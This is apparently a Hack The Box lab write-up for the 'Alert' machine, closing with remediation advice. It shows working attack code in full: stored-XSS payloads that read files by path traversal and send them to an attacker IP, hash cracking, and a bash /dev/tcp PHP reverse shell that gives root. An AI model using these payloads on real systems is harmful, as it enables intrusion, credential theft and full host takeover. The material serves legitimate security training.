HTB: Alert

Alert is an easy Linux machine featuring a markdown viewer with stored cross-site scripting, an admin-only page vulnerable to arbitrary file read used to steal an .htpasswd hash, cracked credentials for SSH, and a group-writable PHP config served by root for privilege escalation.

$ cat alert.md | grep -E "time|words"14 min read · 2851 words

Alert Avatar

TL;DR#

IPs#

Hack The Box assigned the IP address 10.10.11.44 for Alert. I will use 10.10.4.4 for my Kali throughout this writeup, please change to your own IP.

Kill Chain#

Markdown Viewer ➔ Stored XSS ➔ Arbitrary File Read (messages.php) ➔ .htpasswd Hash Cracking (APR1-MD5) ➔ albert ➔ PHP Code Injection: Group-Writable (config) Directory (Port 8080) ➔ root

Reconnaissance & Enumeration#

TCP Scan: nmap#

My nmap scan shows two open TCP ports, 22/ssh and 80/http running Apache 2.4.41:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/alert]
└─$ nmap -sC -sV -p- --min-rate 10000 10.10.11.44
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-23 19:04 UTC
Nmap scan report for 10.10.11.44
Host is up (0.024s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.93 seconds
nmap — cheatsheet reference
  • -sC runs the default script scan, -sV detects service versions, -p- scans all 65535 ports, and --min-rate 10000 sets the minimum packet sending speed.

The HTTP title redirects me to alert.htb, so I add it to /etc/hosts:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/alert]
└─$ echo "10.10.11.44 alert.htb" | sudo tee -a /etc/hosts

Website: Port 80#

The website on port 80/http is a Markdown Viewer. I can upload a .md file, render it as HTML, and share it through a public link:

The upload sends my file to visualizer.php and the share button hands me a link like visualizer.php?link_share=<uuid>.md. That share link is the interesting part, since it means someone else can open my uploaded markdown.

Content Enumeration: feroxbuster#

feroxbuster maps the website and turns up a messages.php:

  • -u sets the target URL and -x php appends the php extension to every wordlist entry so I catch server-side scripts.

messages.php returns an empty body for me. It smells like a page that only renders for an admin viewing it from inside the box.

Subdomain Fuzzing: ffuf#

ffuf finds the subdomain statistics.alert.htb via vhost-fuzzing:

ffuf — cheatsheet reference
seclists — cheatsheet reference
  • -u sets the target, -H fuzzes the Host header, -w picks the wordlist, -mc all matches every status code, and -ac auto-calibrates to drop false positives.

I append it to my /etc/hosts:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/alert]
└─$ echo "10.10.11.44 statistics.alert.htb" | sudo tee -a /etc/hosts

statistics.alert.htb sits behind HTTP Basic Auth. Basic Auth means there is an .htpasswd on the box. I don’t have credentials atm.

Initial Foothold#

Stored XSS: Markdown Viewer#

The viewer turns my markdown into HTML and never strips raw HTML tags. That is textbook stored Cross-Site Scripting (XSS). Let me confirm with a basic payload:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/alert]
└─$ cat shadowcat.md 
<script>
alert("XSS")
</script>
xss — cheatsheet reference

Confirmed! I edit my shadowcat.md file again. I grab the admin-only messages.php and exfiltrate data:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/alert]
└─$ cat shadowcat.md 
<script>
fetch("http://alert.htb/index.php?page=messages")
.then(response => response.text()) // Convert the response to text
.then(data => {
fetch("http://10.10.4.4/?data=" + encodeURIComponent(data));  // Exfiltrate data
})
.catch(error => console.error("Error fetching the messages:", error));
</script>

I upload it, grab the share link, start a python http server and feed that share link to the admin through the Contact Us form:

python-http-server — cheatsheet reference

Decoding the blob shows messages.php takes a file parameter and prints whatever file it names. That is an arbitrary file read hiding behind the admin page.

Arbitrary File Read: messages.php#

Now I point the same XSS at the file parameter and walk it up the tree with ../. First I confirm the read against /etc/passwd:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/alert]
└─$ cat shadowcat.md
<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../etc/passwd")
.then(response => response.text()) // Convert the response to text
.then(data => {
fetch("http://10.10.4.4/?data=" + encodeURIComponent(data));  // Exfiltrate data
})
.catch(error => console.error("Error fetching the messages:", error));
</script>

It works! The callback carries /etc/passwd. I decode it with hURL and spot the user albert:

python-http-server — cheatsheet reference

Next I go after the Apache config /etc/apache2/sites-enabled/000-default.conf to locate the Basic Auth file for the statistics vhost I found earlier:

python-http-server — cheatsheet reference

The config points the statistics.alert.htb vhost at /var/www/statistics.alert.htb and sets AuthUserFile /var/www/statistics.alert.htb/.htpasswd. I read that file next:

python-http-server — cheatsheet reference

The callback hands me albert’s Apache MD5 hash for .htpasswd:

  • Username: albert
  • APR1-MD5 Hash: $apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

Hash Cracking APR1-MD5: hashcat#

Now let me crack that hash. hashcat -m 1600 handles the Apache APR1-MD5 format:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/alert]
└─$ hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt
<...>
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
Hash.Target......: $apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
<...>
┌──(kali㉿shadowcat)-[~/htb/writeups/alert]
└─$ hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt --show
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited
hashcat — cheatsheet reference
  • Username: albert
  • Password: manchesterunited

Dashboard: statistics.alert.htb#

Checking the subdomain statistics.alert.htb once again and login with the cracked credentials. There is a dashboard listing top donors:

SSH: albert#

Let’s login via ssh to albert:

Great! Like always I run a quick id check and list the home folder:

bash
albert@alert:~$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
albert@alert:~$ ls -al
total 28
drwxr-x--- 3 albert albert 4096 Nov 19 14:19 .
drwxr-xr-x 4 root   root   4096 Oct 12 02:21 ..
lrwxrwxrwx 1 albert albert    9 Mar 16  2024 .bash_history -> /dev/null
-rw-r--r-- 1 albert albert  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 albert albert 3771 Feb 25  2020 .bashrc
drwx------ 2 albert albert 4096 Mar  8  2024 .cache
-rw-r--r-- 1 albert albert  807 Feb 25  2020 .profile
-rw-r----- 1 root   albert   33 Nov 23 19:03 user.txt

User Flag#

I catch the user flag:

bash
albert@alert:~$ cat user.txt
fd085071a0fa9454066efa6f878f8059

Privilege Escalation#

Sudo Privileges: sudo -l#

I always run sudo -l but albert got no sudo permissions:

bash
albert@alert:~$ sudo -l
[sudo] password for albert: manchesterunited
Sorry, user albert may not run sudo on alert.
sudo-abuse — cheatsheet reference

Group Membership: management#

My id output already told me the key fact: albert is in the management group. I hunt for files that his group can write to:

bash
albert@alert:~$ find / -group management 2>/dev/null
/opt/website-monitor/config
/opt/website-monitor/config/configuration.php

The whole config directory is group-writable! So I can drop new PHP files in there:

Website Monitor: Port 8080#

Something must run this monitor. I check listening sockets and running processes:

bash
albert@alert:/opt/website-monitor/config$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*

albert@alert:/opt/website-monitor/config$ ps aux | grep php
root         984  0.0  0.6 206768 24276 ?        Ss   19:02   0:00 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
root         989  0.0  0.0   2608   528 ?        Ss   19:02   0:00 /bin/sh -c /root/scripts/php_bot.sh
root         991  0.0  0.0   6892  3276 ?        S    19:02   0:00 /bin/bash /root/scripts/php_bot.sh
root         994  0.0  0.0   6892   224 ?        S    19:02   0:00 /bin/bash /root/scripts/php_bot.sh
albert      4556  0.0  0.0   6432   720 pts/0    S+   22:44   0:00 grep --color=auto php

There it is. root runs a PHP built-in server on 127.0.0.1:8080 from /opt/website-monitor, and I can write into its config folder. Anything I put there runs as root when I request it.

PHP Code Injection: config Directory#

I drop a tiny PHP reverse shell into the writable directory:

bash
albert@alert:/opt/website-monitor/config$ echo '<?php system("bash -c \"bash -i >& /dev/tcp/10.10.4.4/443 0>&1\""); ?>' > shadowcat.php
reverse-shell — cheatsheet reference

And start a nc listener with rlwrap for history and line editing, then trigger my shadowcat.php with curl:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/alert]
└─$ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
netcat — cheatsheet reference
bash
albert@alert:/opt/website-monitor/config$ curl http://127.0.0.1:8080/config/shadowcat.php
curl — cheatsheet reference

My netcat listener catches root shell:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/alert]
└─$ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.4.4] from (UNKNOWN) [10.10.11.44] 50834
bash: cannot set terminal process group (984): Inappropriate ioctl for device
bash: no job control in this shell
root@alert:/opt/website-monitor/config# id
id
uid=0(root) gid=0(root) groups=0(root)
netcat — cheatsheet reference

Root Flag#

Alert is pwned and I grab the root flag:

bash
root@alert:/opt/website-monitor/config# cat /root/root.txt
cat /root/root.txt
74dc94d1989acfce28dc66f386109072

Pwned#

Vulnerabilities#

Beyond root, let me summarize which vulnerabilities I found and used on Alert:

Vulnerabilities Summary#

vulnerabilities
VulnerabilityCVE / CWESeverityRoot CauseReal-World Impact
Stored Cross-Site Scripting (Markdown Viewer)CWE-79HighRaw HTML in uploaded markdown is rendered without sanitizationAttacker JavaScript runs in the admin’s session and drives internal requests
Arbitrary File Read (messages.php?file=)CWE-22HighUser-controlled file parameter passed to a read function without path validationAny file the web process can read is exposed, including secrets
Weak Credential Storage (.htpasswd)CWE-916MediumPassword stored as a fast, crackable APR1-MD5 hashOffline cracking recovers the plaintext for SSH access
Insecure Group-Writable ConfigCWE-732High/opt/website-monitor/config is writable by the management groupLow-privilege user plants files inside a root-run app directory
PHP Code Execution as rootCWE-94CriticalRoot PHP server executes attacker-supplied files from a writable pathFull root compromise of the host

Remediation#

Sanitize Markdown Output (CWE-79)#

Strip or escape raw HTML before rendering. Run every markdown output through a sanitizer such as HTML Purifier and encode user content:

php
<?php
require_once 'vendor/autoload.php';
$config = HTMLPurifier_Config::createDefault();
$clean  = (new HTMLPurifier($config))->purify($userMarkdownHtml);
echo $clean;

Fix the File Read Endpoint (CWE-22)#

Reject traversal and pin reads to a fixed directory with an allowlist:

php
<?php
$base = '/var/www/alert.htb/messages/';
$real = realpath($base . basename($_GET['file'] ?? ''));
if ($real === false || strpos($real, $base) !== 0) {
    http_response_code(403);
    exit('Denied');
}
readfile($real);

Harden the .htpasswd Hash (CWE-916)#

Regenerate the Basic Auth entry with bcrypt instead of APR1-MD5, and rotate the password:

bash
htpasswd -B -C 12 /var/www/statistics.alert.htb/.htpasswd albert
  • -B forces bcrypt and -C 12 sets a strong cost factor.

Lock Down the Config Directory (CWE-732)#

Remove group write access so low-privilege users can not plant files:

bash
chown -R root:root /opt/website-monitor/config
chmod -R 755 /opt/website-monitor/config

Stop Running the Monitor as root (CWE-94)#

Run the PHP server under a dedicated low-privilege account and drop .php execution in the config path:

bash
useradd -r -s /usr/sbin/nologin webmon
chown -R webmon:webmon /opt/website-monitor
# in the service unit:
# User=webmon
KEYBOARD SHORTCUTS
/
focus the search
?
this card
←→
previous / next boxwriteups and cheatsheets
↓
at the very end: open the next boxwriteups only
Esc
close search, lightbox, menu, this card
root@shadowcat:~$ man shadowcat | grep -i keys